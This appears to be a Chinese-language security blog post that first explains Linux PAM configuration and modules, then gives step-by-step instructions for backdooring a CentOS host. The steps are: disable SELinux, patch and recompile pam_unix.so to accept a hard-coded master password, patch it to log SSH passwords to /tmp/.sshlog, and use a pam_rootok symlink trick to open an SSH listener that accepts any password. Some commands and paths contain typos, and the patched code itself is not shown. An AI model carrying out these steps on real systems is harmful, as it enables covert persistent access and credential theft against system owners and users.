目录
Linux PAM详解
使用PAM创建SSH后门密码
利用PAM记录密码
利用PAM免密登录
Linux PAM详解
PAM(Pluggable Authentication Modules,可插入的身份验证模块)是Linux自带的一套与身份验证机制相关的库,可以将多种身份验证的方案几种于同一的程序接口,简单来说,在Linux中的其他应用程序可以通过调用PAM接口来完成身份验证工作,无需开发者重新构造认证模块
PAM允许各类的配置,主要有两种:
1、直接写入/etc.pam.conf,但是在新版本中这个文件默认是不存在的
2、将PAM配置文件放到/etc/pam.d根目录下
PAM配置文件默认如下,这里使用SSH的PAM文件做演示
[root@centos111 pam.d]# cat sshd
#%PAM-1.0
auth required pam_sepermit.so
auth required pam_tally2.so deny =5 unlock_time=300
auth substack password-auth
auth include postlogin
# Used with polkit to reauthorize users in remote sessions
-auth optional pam_reauthorize.so prepare
account required pam_nologin.so
account include password-auth
password include password-auth
# pam_selinux.so close should be the first session rule
session required pam_selinux.so close
session required pam_loginuid.so
# pam_selinux.so open should only be followed by sessions to be executed in the user context
session required pam_selinux.so open env_params
session required pam_namespace.so
session optional pam_keyinit.so force revoke
session include password-auth
session include postlogin
# Used with polkit to reauthorize users in remote sessions
-session optional pam_reauthorize.so prepare
可以看到,大概有四种服务类型:auth、account、session、password,其中每个模块的具体功能如下:
验证类别:
auth:是 authentication (认证) 的缩写,所以这种类别主要用来检验使用者的身份验证,这种类别通常是需要口令来检验的, 所以后续接的模块是用来检验用户的身份。
account:账户模块接口,检查指定账户是否满足当前验证条件,检查账户是否到期等。
session:会话模块接口,用于管理和配置用户会话。会话在用户成功认证之后启动生效
password:密码模块接口,用于更改用户密码,以及强制使用强密码配置
控制标志:
required:若成功则带有 success (成功) 的标志,若失败则带有 failure 的标志,但不论成功或失败都会继续后续的验证流程。 由于后续的验证流程可以继续进行,因此相当有利于数据的登录 (log) ,这也是 PAM 最常使用 required 的原因。
requisite:若验证失败则立刻返回 failure 的标志,并终止后续的验证流程。若验证成功则带有 success 的标志并继续后续的验证流程。 这个项目与 required 最大的差异,就在于失败的时候还要不要继续验证下去。由于 requisite 是失败就终止, 因此失败时所产生的 PAM 信息就无法透过后续的模块来记录了。
sufficient:若验证成功则立刻回传 success 给原程序,并终止后续的验证流程;若验证失败则带有 failure 标志并继续后续的验证流程。 这玩意儿与 requisits 刚好相反!
optional :该模块返回的通过/失败结果被忽略。当没有其他模块被引用时,标记为optional模块并且成功验证时该模块才是必须的。
常用模块:
pam_securetty.so:
限制系统管理员 (root) 只能够从安全的 (secure) 终端机登陆;例如 tty1, tty2 等就是传统的终端机装置名称。那么安全的终端机配置呢? 就写在/etc/securetty 这个文件中。你可以查阅一下该文件, 就知道为什么 root 可以从 tty1~tty7 登陆,但却无法透过 telnet 登陆 Linux 主机了!
pam_nologin.so:
这个模块可以限制一般用户是否能够登陆主机之用。当/etc/nologin 这个文件存在时,则所有一般使用者均无法再登陆系统了!若 /etc/nologin 存在,则一般使用者在登陆时, 在他们的终端机上会将该文件的内容显示出来!所以,正常的情况下,这个文件应该是不能存在系统中的。 但这个模块对 root 以及已经登陆系统中的一般账号并没有影响。
pam_selinux.so:
SELinux 是个针对程序来进行细部管理权限的功能。由于 SELinux 会影响到用户运行程序的权限,因此我们利用 PAM 模块,将 SELinux 暂时关闭,等到验证通过后, 再予以启动!
pam_console.so:
当系统出现某些问题,或者是某些时刻你需要使用特殊的终端接口 (例如 RS232 之类的终端联机设备) 登陆主机时, 这个模块可以帮助处理一些文件权限的问题,让使用者可以透过特殊终端接口 (console) 顺利的登陆系统。
pam_loginuid.so:
我们知道系统账号与一般账号的 UID 是不同的!一般账号 UID 均大于500才合理。 因此,为了验证使用者的 UID 真的是我们所需要的数值,可以使用这个模块来进行规范!
pam_env.so:
用来配置环境变量的一个模块,如果你有需要额外的环境变量配置,可以参考/etc/security/pam_env.conf 这个文件的详细说明。
pam_unix.so:
这是个很复杂且重要的模块,这个模块可以用在验证阶段的认证功能,可以用在授权阶段的账号许可证管理, 可以用在会议阶段的登录文件记录等,甚至也可以用在口令升级阶段的检验!非常丰富的功能! 这个模块在早期使用得相当频繁喔!
pam_cracklib.so:
可以用来检验口令的强度!包括口令是否在字典中,口令输入几次都失败就断掉此次联机等功能,都是这模块提供的! 这玩意儿很重要!
使用PAM创建SSH后门密码
如何当前系统为centos,利用PAM之前需要关闭系统的selinux功能,此时可以使用以下命令临时关闭
setenforce 0
或者将 /etc/selinux/config文件内的SELINUX属性设置为disbaled实现永久关闭。
关闭后可以使用命令sestatus来查看是否关闭成功
使用命令rmp -qa | grepp pam来查看当前系统中PAM的版本
可以看到当前pam的版本为1.1.8,那么接下来需要下载该版本的PAM云阿妈并且进行修改,源码可以通过Linux-pam网站获取:
blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云 (aliyun.com)
下载完成后上传到目标主机使用下列命令解压压缩包。
tar -xvf Linux-PAM-1.1.8.tar
然后使用下列命令下载编译工具
yum install flex gcc flex-devel -y
准备工作完成后,我们可以使用vim修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中的第181行
修改前:
修改后:
这段代码的意思是,判断输入的密码是否为root,如果是root则直接通过验证
修改完成后运行下列命令来编译:
./configure --prefix=/usr --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make
编译成功会生成pam_unix.so的动态链接库文件,该文件存放于Linux-PAM-1.1.8/modules/pam_unix/.libs根目录下
cd Linux-PAM-1.1.8/modules/pam_unix/.libs
使用find命令去寻找系统原有的pam_unix.so文件:
find / -name "pam_uninx.so"
可以看到原有的文件存放的路径:
然后使用下列命令将SSH后门的密码的pam_unixso替换掉系统原有的pam_unix.so文件
cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
文件替换成功后,我们使用原密码和root密码都可以成功登录
利用PAM记录密码
此方法需要修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c中的第181行
修改如下:
修改后的代码将用户使用SSH登录时的密码记录到了/tmp/.sshlog文件中,随后进行编译并且替换,当用户登录之后,攻击者读取/tmp/.sshlog便可以看到记录的账号密码
利用PAM免密登录
在目标主机上执行下列命令,随后使用SSH进行登录,会发现输入任意密码都可以登录
ln -sf /usr/sshd/tmp/su;/tmp/su -oport=12345
这里的密码随便输入,然后就可以成功登录
除了su以外,还有很多程序的PAM中配置了auth sufficient pam_rootok.so,使用命令
ls /etc/pam.d/ | xargs grep "pam_rootok"
来查找当前拥有这一条配置的PAM配置文件
软连接这些文件以实现任意密码登录系统
到此使用Linux PAM创建后门就演示完毕了